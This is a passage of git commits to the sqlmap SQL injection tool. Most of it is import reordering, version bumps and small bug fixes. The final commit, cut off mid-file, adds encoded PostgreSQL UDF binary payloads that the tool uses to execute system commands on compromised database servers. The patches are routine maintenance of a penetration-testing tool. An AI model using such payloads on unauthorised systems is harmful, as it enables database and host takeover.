import INFERENCE_MARKER from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR +from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_REVALIDATION_STEPS from lib.core.settings import NULL diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 841caea3016..22c8fd5de41 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -45,8 +45,8 @@ from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapDataException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD -from lib.core.settings import MIN_ERROR_CHUNK_LENGTH from lib.core.settings import MAX_ERROR_CHUNK_LENGTH +from lib.core.settings import MIN_ERROR_CHUNK_LENGTH from lib.core.settings import NULL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import ROTATING_CHARS diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 6f4a6538849..ff4bab9b05f 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -32,14 +32,14 @@ from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import PAYLOAD from lib.core.settings import LIMITED_ROWS_TEST_NUMBER -from lib.core.settings import UNION_MIN_RESPONSE_CHARS -from lib.core.settings import UNION_STDEV_COEFF -from lib.core.settings import MIN_RATIO from lib.core.settings import MAX_RATIO +from lib.core.settings import MIN_RATIO from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import NULL from lib.core.settings import ORDER_BY_STEP +from lib.core.settings import UNION_MIN_RESPONSE_CHARS +from lib.core.settings import UNION_STDEV_COEFF from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 215661ee181..92f6b1be323 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -21,7 +21,6 @@ from lib.core.common import extractRegexResult from lib.core.common import firstNotNone from lib.core.common import flattenValue -from lib.core.common import safeStringFormat from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import hashDBRetrieve @@ -34,6 +33,7 @@ from lib.core.common import listToStrValue from lib.core.common import parseUnionPage from lib.core.common import removeReflectiveValues +from lib.core.common import safeStringFormat from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue diff --git a/lib/utils/api.py b/lib/utils/api.py index acdb32b8572..84d2327e122 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -25,15 +25,15 @@ from lib.core.common import saveConfig from lib.core.common import unArrayizeValue from lib.core.compat import xrange -from lib.core.convert import encodeBase64 -from lib.core.convert import encodeHex from lib.core.convert import decodeBase64 from lib.core.convert import dejsonize +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex from lib.core.convert import jsonize from lib.core.data import conf from lib.core.data import kb -from lib.core.data import paths from lib.core.data import logger +from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.defaults import _defaults from lib.core.dicts import PART_RUN_CONTENT_TYPES @@ -43,8 +43,8 @@ from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict -from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import IS_WIN +from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.shell import autoCompletion diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 1334374b000..78dd9ff6caa 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -9,18 +9,18 @@ import time +from lib.core.common import Backend from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import filterListValue from lib.core.common import getFileItems -from lib.core.common import Backend from lib.core.common import getPageWordSet from lib.core.common import hashDBWrite from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.common import safeStringFormat from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 3b188613095..d392e919f12 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -63,9 +63,9 @@ from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange -from lib.core.convert import encodeHex from lib.core.convert import decodeBase64 from lib.core.convert import decodeHex +from lib.core.convert import encodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode @@ -90,13 +90,13 @@ from lib.core.settings import IS_WIN from lib.core.settings import ITOA64 from lib.core.settings import NULL -from lib.core.settings import UNICODE_ENCODING from lib.core.settings import ROTATING_CHARS +from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit -from thirdparty.pydes.pyDes import des from thirdparty.pydes.pyDes import CBC +from thirdparty.pydes.pyDes import des from thirdparty.six.moves import queue as _queue def mysql_passwd(password, uppercase=True): diff --git a/lib/utils/search.py b/lib/utils/search.py index 811d489cff2..5ade9c0be17 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -25,8 +25,8 @@ from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import BING_REGEX -from lib.core.settings import DUMMY_SEARCH_USER_AGENT from lib.core.settings import DUCKDUCKGO_REGEX +from lib.core.settings import DUMMY_SEARCH_USER_AGENT from lib.core.settings import GOOGLE_REGEX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import UNICODE_ENCODING diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index e72cb36bb97..fc35f28a6fe 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -5,15 +5,15 @@ See the file 'LICENSE' for copying permission """ -from plugins.generic.enumeration import Enumeration as GenericEnumeration +from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries -from lib.core.common import unArrayizeValue from lib.core.enums import DBMS from lib.core.settings import H2_DEFAULT_SCHEMA from lib.request import inject +from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 91ad3d7342c..6c0fd662f58 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -5,15 +5,15 @@ See the file 'LICENSE' for copying permission """ -from plugins.generic.enumeration import Enumeration as GenericEnumeration +from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries -from lib.core.common import unArrayizeValue from lib.core.enums import DBMS from lib.core.settings import HSQLDB_DEFAULT_SCHEMA from lib.request import inject +from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 5d4082e0c18..4100babe346 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -5,8 +5,8 @@ See the file 'LICENSE' for copying permission """ -from plugins.generic.syntax import Syntax as GenericSyntax from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 008fd075c0a..224a46ea2cb 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -10,13 +10,13 @@ import sys from lib.core.agent import agent -from lib.core.common import dataToOutFile from lib.core.common import Backend from lib.core.common import checkFile +from lib.core.common import dataToOutFile from lib.core.common import decloakToTemp from lib.core.common import decodeDbmsHexValue -from lib.core.common import isNumPosStrValue from lib.core.common import isListLike +from lib.core.common import isNumPosStrValue from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable from lib.core.common import readInput @@ -26,8 +26,8 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUndefinedMethod diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 8bd456fabc4..ba7a8dea1d1 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -8,8 +8,8 @@ import os import string -from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage +from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index 96ccb15321a..ec8b2d6d3a2 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -9,8 +9,8 @@ import re from lib.core.data import kb -from lib.core.enums import PRIORITY from lib.core.datatype import OrderedSet +from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL diff --git a/tamper/percentage.py b/tamper/percentage.py index 71259fd88f2..a97c96942a0 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -8,8 +8,8 @@ import os import string -from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage +from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW From 70710df2ac979d89de2be91c33fb7d6675f48a2e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Jun 2019 14:48:51 +0200 Subject: [PATCH 449/800] Trivial update --- lib/core/compat.py | 2 +- lib/core/patch.py | 2 +- lib/core/profiling.py | 2 +- lib/core/settings.py | 2 +- sqlmap.py | 4 ++-- tamper/luanginx.py | 2 +- tamper/space2morehash.py | 2 +- 7 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/core/compat.py b/lib/core/compat.py index 3dbdd7084c8..4661e92f4f4 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -12,8 +12,8 @@ import math import os import random -import uuid import sys +import uuid class WichmannHill(random.Random): """ diff --git a/lib/core/patch.py b/lib/core/patch.py index 503054ce663..e0f19baf2c4 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -9,9 +9,9 @@ import lib.controller.checks import lib.core.common -import lib.core.threads import lib.core.convert import lib.core.option +import lib.core.threads import lib.request.connect import lib.utils.search import lib.utils.sqlalchemy diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 9ba1dd4c74b..0fe0836d6ea 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -6,8 +6,8 @@ """ import codecs -import os import cProfile +import os from lib.core.common import getSafeExString from lib.core.data import logger diff --git a/lib/core/settings.py b/lib/core/settings.py index df60b4a7c57..f6b148fbd38 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.12" +VERSION = "1.3.6.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 1ce39d54a2d..eb59882fd9b 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -54,15 +54,15 @@ from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb - from lib.core.common import unhandledExceptionMessage from lib.core.common import MKSTEMP_PREFIX from lib.core.common import setColor + from lib.core.common import unhandledExceptionMessage from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException - from lib.core.option import initOptions from lib.core.option import init + from lib.core.option import initOptions from lib.core.patch import dirtyPatches from lib.core.patch import resolveCrossReferences from lib.core.settings import GIT_PAGE diff --git a/tamper/luanginx.py b/tamper/luanginx.py index e8ad3db2863..e50675744e8 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -5,8 +5,8 @@ See the file 'LICENSE' for copying permission """ -import string import random +import string from lib.core.compat import xrange from lib.core.enums import HINT diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index ad10c6eea0b..be2d0c66958 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -6,8 +6,8 @@ """ import os -import re import random +import re import string from lib.core.common import singleTimeWarnMessage From 193889e97f66239ae97169f76ff74ecd399a8af6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Jun 2019 14:59:01 +0200 Subject: [PATCH 450/800] Bug fix for --disable-coloring --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 2e11945ba99..5fcfc68ee41 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -931,7 +931,7 @@ def setColor(message, color=None, bold=False, level=None, istty=None): retVal = message level = level or extractRegexResult(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) - if message and IS_TTY or istty: # colorizing handler + if message and (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler if bold or color: retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) elif level: diff --git a/lib/core/settings.py b/lib/core/settings.py index f6b148fbd38..c1248418b10 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.13" +VERSION = "1.3.6.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d444bf198ed721d923e7be6145985d0b194ae69f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Jun 2019 15:24:40 +0200 Subject: [PATCH 451/800] Bug fix (double newline - e.g. in adjusting delay) --- lib/core/settings.py | 2 +- thirdparty/ansistrm/ansistrm.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c1248418b10..58f3aa456da 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.14" +VERSION = "1.3.6.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index 028ec3718db..739169dde09 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -158,6 +158,7 @@ def colorize(self, message, levelno): if params and message: match = re.search(r"\A(\s+)", message) prefix = match.group(1) if match else "" + message = message[len(prefix):] match = re.search(r"\[([A-Z ]+)\]", message) # log level if match: From 98582d5ac6a10c7d14159a503e5585b77e8bcf2a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Jun 2019 15:46:56 +0200 Subject: [PATCH 452/800] Minor update --- lib/controller/checks.py | 5 +++-- lib/core/settings.py | 5 ++++- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 69bbc2fea19..4c791e4d146 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -83,6 +83,7 @@ from lib.core.settings import IPS_WAF_CHECK_RATIO from lib.core.settings import IPS_WAF_CHECK_TIMEOUT from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH +from lib.core.settings import MAX_STABILITY_DELAY from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS from lib.core.settings import SINGLE_QUOTE_MARKER @@ -1222,8 +1223,8 @@ def checkStability(): firstPage = kb.originalPage # set inside checkConnection() - delay = 1 - (time.time() - (kb.originalPageTime or 0)) - delay = max(0, min(1, delay)) + delay = MAX_STABILITY_DELAY - (time.time() - (kb.originalPageTime or 0)) + delay = max(0, min(MAX_STABILITY_DELAY, delay)) time.sleep(delay) secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False) diff --git a/lib/core/settings.py b/lib/core/settings.py index 58f3aa456da..4e003baa97e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.15" +VERSION = "1.3.6.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -648,6 +648,9 @@ # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop MAX_TOTAL_REDIRECTIONS = 10 +# Maximum (deliberate) delay used in page stability check +MAX_STABILITY_DELAY = 0.5 + # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 From 77e1b99a2c11ff3758c1102f24856f50ebb8afa6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2019 10:37:11 +0200 Subject: [PATCH 453/800] Fixes #3739 --- data/xml/queries.xml | 2 +- lib/core/settings.py | 2 +- lib/core/testing.py | 22 ++++++++++++++++++++++ 3 files changed, 24 insertions(+), 2 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index e0c56ae7472..db50087b32d 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -421,7 +421,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index 4e003baa97e..007e77c3425 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.16" +VERSION = "1.3.6.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 20f6e53e0e8..c63f82c5a20 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -36,6 +36,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths +from lib.core.data import queries from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapNotVulnerableException @@ -183,6 +184,27 @@ def smokeTest(): status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + def _(node): + for __ in dir(node): + if not __.startswith('_'): + candidate = getattr(node, __) + if isinstance(candidate, str): + if '\\' in candidate: + try: + re.compile(candidate) + except: + errMsg = "smoke test failed at compiling '%s'" % candidate + logger.error(errMsg) + raise + else: + _(candidate) + + for dbms in queries: + try: + _(queries[dbms]) + except: + retVal = False + clearConsoleLine() if retVal: logger.info("smoke test final result: PASSED") From 292c1dc91f070feda53125beb1507072ce6fe888 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2019 12:03:30 +0200 Subject: [PATCH 454/800] Adding missing so libraries for PgSQL --- .../linux/32/10.0/lib_postgresqludf_sys.so_ | Bin 0 -> 2639 bytes .../linux/32/9.5/lib_postgresqludf_sys.so_ | Bin 0 -> 2639 bytes .../linux/32/9.6/lib_postgresqludf_sys.so_ | Bin 0 -> 2640 bytes .../linux/64/10.0/lib_postgresqludf_sys.so_ | Bin 0 -> 2632 bytes .../linux/64/9.5/lib_postgresqludf_sys.so_ | Bin 0 -> 2633 bytes .../linux/64/9.6/lib_postgresqludf_sys.so_ | Bin 0 -> 2632 bytes extra/shutils/strip.sh | 3 +++ lib/core/settings.py | 2 +- 8 files changed, 4 insertions(+), 1 deletion(-) create mode 100644 data/udf/postgresql/linux/32/10.0/lib_postgresqludf_sys.so_ create mode 100644 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ create mode 100644 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ create mode 100644 data/udf/postgresql/linux/64/10.0/lib_postgresqludf_sys.so_ create mode 100644 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ create mode 100644 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ diff --git a/data/udf/postgresql/linux/32/10.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10.0/lib_postgresqludf_sys.so_ new file mode 100644 index 0000000000000000000000000000000000000000..fa2f0bf1c4e91e2dd2f6015c29579c510ba4a265 GIT binary patch literal 2639 zcmV-V3b6GDob4tQ4{XmZsGTtPn;? zFQqGeMylLLW%RN&>(DQ9HPhq;9gyd|tSwY5iR5{Wo+=$p%TlqrM2oR!?H^UePHD{l|a-oL?ZHfWI~Hw_JXoFu?KiRA}^D zK0!gj{&)@zGf*j>Um%!(?^xIbK|Vo3!T+Uu`=5cEjSrj}ABm zQ=b7-Yz<)gVAS-j;6RCs7aZtAQ` zQJdg*)Z3UB-&1uV(O8IK!REC3sLtxF5x2+26EPq&Yb+ezWwPY(cm7fV!M@oMqm~uB z=&|}bq1sh>>StS`y^aQALAyde0F%|tykW1so<R`0e&`%wF2vu%IOf53$>| z-bu;tnM-oxgR!;}Kl)^Qht=g7f?|m$(Z1gADDQll>Z{rOl7%`9g~^k3STgCUFzpiU zsTQ+3kBcb-e6OYQAoZeZG0#dZOEb^q|GIO`sVtvvRsPYg0kl;7DHKe(Bbl@v{vpGB zMll{>7e|L2LPVoNj|2aI&(H@7fyzXI)1VBGM?(v4&&DA?16TB+myVDOh#a9wZpS@B zj7LeSk;JiPyfab_I&Z+#pwshNUr zMB}3PJ?M=w^+9n_ml1kIGo>{Q@IB6@#=Ra6L%Z8&K|V+_LCpLAWBtqHa{TC`3l#ae zQN7e>>`$D#LM7J?xim|K_6n29R2={_W;Ce{dU-q)x=>0raKac^kV3d6Q7AnY1mk0||Rsgo5|f2YGo!O_byGid(;cY1oh;evf%JF83hz*0htokXFC3BO!v>m-$H$S+iJ^c_OIv43ock?cQ3Y)w)KZnVCZxr!@{?Gw zE8b}(+*L~5LSs_S=@}mTy($!X*j9{tP*$q3eB79WWMp|9(!&srHE>`dah^0*l`z41 z7M@UysI4A6m|=Yt(<~&o$nfy8)U+=Zz67|(y8INZd#Qu8&=ACjL6HRO$|yWYWNNQA z-f&owULX~cAfzR03fVoisriz*GTw>%e=>93%+02dxiZYgm?_FQRzeJ9ngsohU%wFL zs{th9{b2+>0c864VyXI-K!k%?JVCu6U52QN7b29*t@59Kqo_Hn!oicUxY8|FkL~6N zEluASP1BqkX<84X)}VVO8u?CW;m&AcxkuF}JfuKnFE+>X8 z-)5^>08&BuhNdz*8mYL#iaAopPN2B#yrLLVlru9ha`R_dT@ zIR%5=cPOcy9Mm71 zq*vu9RuDT32cC{Io(H4~m&|B=!}-)?{D`I@d#xL-Ptv}4ek<1MRg}PbxjnN7=Oma< zGn+C=1FCYVsqoT_ueXhKnNaLbW(Y_)8$9-j$e!ZVtGjYErREEY(YSJ@&!{YPqXE8d{~f_S+{fX9N3`=NF`~t#YLrF=Y0TUI9Mc zyCVVXZgL9}VRE!CA#!vB0CV!@2B$rOz>p9(s zbAukYF^!cS&psm|bw|rbP*fZ)_J7f^nf(*^%xGBWkIB*Up-zgu3@%{W@yd~Sy}z?Y zCdQrmlFZckV8cz`4(M@!X+FN7I3bjoMfWIHyK}+RAWP1P&K8=(l{S}2Ie0SQVcq#c zy85NP%H;R2po8Dzw}TNx-@ItnxJOOnL`6jkO?-Yyv1b0LJ5hO%k zuZ8^JvlG49*VazxA^&kC^jXw%`KOTc5a4?xRw}x<(be9QPI#Ul?!^9=plD2N+Pcsg z(gS<-G_oD{NG6h6CX!kvl3FH`S|*ZOCX!kv0Vm1rj}W&3>HvHThCTpS(q<)DEYHU1 zLzm86IZyS>2uCc>S~(T?{w&2j-=qt9LDit1N?@i8OYo1ucu(~NkIs!IfdzR1jH%!M z^eArqS`AV%t-qbt1aU@~sTg4}YQ-#q33{9z?0W!v82Eekr2K%q>HI<|qR96}=ycG0 xFJ)tJevNoCe9e3+fMcLCpdz4rp!YslKQ7P;&}g7|IrS46H$e5==0Jj#q9%b(KDz(_ literal 0 HcmV?d00001 diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ new file mode 100644 index 0000000000000000000000000000000000000000..cdbff5fbbbc333a35458046732cfc13631e1f803 GIT binary patch literal 2639 zcmV-V3b6GDob4tQ4{XmZsGTtPn;? zFQqGeMylLLW%RN&>(DQ9HPhq;9gyd|tSwY5iR5{Wo+=$p%TlqrM2oR!?H^UePHD{l|a-oL?ZHfWI~Hw_JXoFu?KiRA}^D zK0!gj{&)@zGf*j>Um%!(?^xIbK|Vo3!T+Uu`=5cEjSrj}ABm zQ=b7-Yz<)gVAS-j;6RCs7aZtAQ` zQJdg*)Z3UB-&1uV(O8IK!REC3sLtxF5x2+26EPq&Yb+ezWwPY(cm7fV!M@oMqm~uB z=&|}bq1sh>>StS`y^aQALAyde0F%|tykW1so<R`0e&`%wF2vu%IOf53$>| z-bu;tnM-oxgR!;}Kl)^Qht=g7f?|m$(Z1gADDQll>Z{rOl7%`9g~^k3STgCUFzpiU zsTQ+3kBcb-e6OYQAoZeZG0#dZOEb^q|GIO`sVtvvRsPYg0kl;7DHKe(Bbl@v{vpGB zMll{>7e|L2LPVoNj|2aI&(H@7fyzXI)1VBGM?(v4&&DA?16TB+myVDOh#a9wZpS@B zj7LeSk;JiPyfab_I&Z+#pwshNUr zMB}3PJ?M=w^+9n_ml1kIGo>{Q@IB6@#=Ra6L%Z8&K|V+_LCpLAWBtqHa{TC`3l#ae zQN7e>>`$D#LM7J?xim|K_6n29R2={_W;Ce{dU-q)x=>0raKac^kV3d6Q7AnY1mk0||Rsgo5|f2YGo!O_byGid(;cY1oh;evf%JF83hz*0htokXFC3BO!v>m-$H$S+iJ^c_OIv43ock?cQ3Y)w)KZnVCZxr!@{?Gw zE8b}(+*L~5LSs_S=@}mTy($!X*j9{tP*$q3eB79WWMp|9(!&srHE>`dah^0*l`z41 z7M@UysI4A6m|=Yt(<~&o$nfy8)U+=Zz67|(y8INZd#Qu8&=ACjL6HRO$|yWYWNNQA z-f&owULX~cAfzR03fVoisriz*GTw>%e=>93%+02dxiZYgm?_FQRzeJ9ngsohU%wFL zs{th9{b2+>0c864VyXI-K!k%?JVCu6U52QN7b29*t@59Kqo_Hn!oicUxY8|FkL~6N zEluASP1BqkX<84X)}VVO8u?CW;m&AcxkuF}JfuKnFE+>X8 z-)5^>08&BuhNdz*8mYL#iaAopPN2B#yrLLVlru9ha`R_dT@ zIR%5=cPOcy9Mm71 zq*vu9RuDT32cC{Io(H4~m&|B=!}-)?{D`I@d#xL-Ptv}4ek<1MRg}PbxjnN7=Oma< zGn+C=1FCYVsqoT_ueXhKnNaLbW(Y_)8$9-j$e!ZVtGjYErREEY(YSJ@&!{YPqXE8d{~f_S+{fX9N3`=NF`~t#YLrF=Y0TUI9Mc zyCVVXZgL9}VRE!CA#!vB0CV!@2B$rOz>p9(s zbAukYF^!cS&psm|bw|rbP*fZ)_J7f^nf(*^%xGBWkIB*Up-zgu3@%{W@yd~Sy}z?Y zCdQrmlFZckV8cz`4(M@!X+FN7I3bjoMfWIHyK}+RAWP1P&K8=(l{S}2Ie0SQVcq#c zy85NP%H;R2po8Dzw}TNx-@ItnxJOOnL`6jkO?-Yyv1b0LJ5hO%k zuZ8^JvlG49*VazxA^&kC^jXw%`KOTc5a4?xRw}x<(be9QPI#Ul?!^9=plD2N+Pcsg z(gS<-G_oD{NG6h6CX!kvl3FH`S|*ZOCX!kv0Vm1rj}W&3>HvHThCTpS(q<)DEYHU1 zLzm86IZyS>2uCc>S~(T?{w&2j-=qt9LDit1N?@i8OYo1ucu(~NkIs!IfdzR1jH%!M z^eArqS`AV%t-qbt1aU@~sTg4}YQ-#q33{9z?0W!v82Eekr2K%q>HI<|qR96}=ycG0 xFJ)tJevNoCe9e3+fMcLCpdz4rp!YslKQ7P;&}g7|IrS46H$e5==0JTwq54{DKA`{r literal 0 HcmV?d00001 diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ new file mode 100644 index 